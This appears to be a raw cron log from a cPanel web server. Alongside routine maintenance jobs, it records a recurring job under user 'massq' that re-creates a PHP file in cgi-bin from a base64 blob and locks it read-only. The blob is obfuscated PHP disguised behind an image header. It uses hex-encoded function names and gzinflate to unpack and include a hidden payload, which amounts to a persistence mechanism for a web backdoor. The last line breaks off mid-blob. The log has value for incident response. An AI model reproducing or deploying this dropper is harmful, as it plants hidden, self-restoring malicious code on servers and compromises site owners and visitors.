Sep  2 20:55:01 server CROND[20312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:55:01 server CROND[20313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:55:01 server CROND[20314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:55:01 server CROND[20315]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 20:55:01 server CROND[20311]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:55:01 server CROND[20310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:56:01 server CROND[21130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:56:01 server CROND[21131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:56:01 server CROND[21132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:57:01 server CROND[21500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:57:01 server CROND[21501]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 20:57:01 server CROND[21502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:57:01 server CROND[21503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:58:01 server CROND[21896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:58:01 server CROND[21897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:58:01 server CROND[21898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:59:01 server CROND[22397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 20:59:01 server CROND[22398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:59:01 server CROND[22399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:00:01 server CROND[22821]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 21:00:01 server CROND[22833]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:00:01 server CROND[22897]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 21:00:01 server CROND[22859]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 21:00:01 server CROND[22899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:00:01 server CROND[22876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:00:01 server CROND[22857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:00:01 server CROND[22858]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 21:00:01 server CROND[22856]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:01:01 server CROND[23793]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 21:01:01 server CROND[23794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:01:01 server CROND[23795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:01:01 server CROND[23792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:01:01 server run-parts(/etc/cron.hourly)[23793]: starting 0anacron
Sep  2 21:01:01 server run-parts(/etc/cron.hourly)[23813]: finished 0anacron
Sep  2 21:02:01 server CROND[24173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:02:01 server CROND[24174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:02:01 server CROND[24175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:03:01 server CROND[24568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:03:01 server CROND[24569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:03:01 server CROND[24570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:04:01 server CROND[25048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:04:01 server CROND[25049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:04:01 server CROND[25050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:05:01 server CROND[25440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:05:01 server CROND[25441]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 21:05:01 server CROND[25445]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:05:01 server CROND[25450]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 21:05:01 server CROND[25453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:05:01 server CROND[25456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:05:01 server CROND[25454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:05:01 server CROND[25455]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 21:06:01 server CROND[26279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZa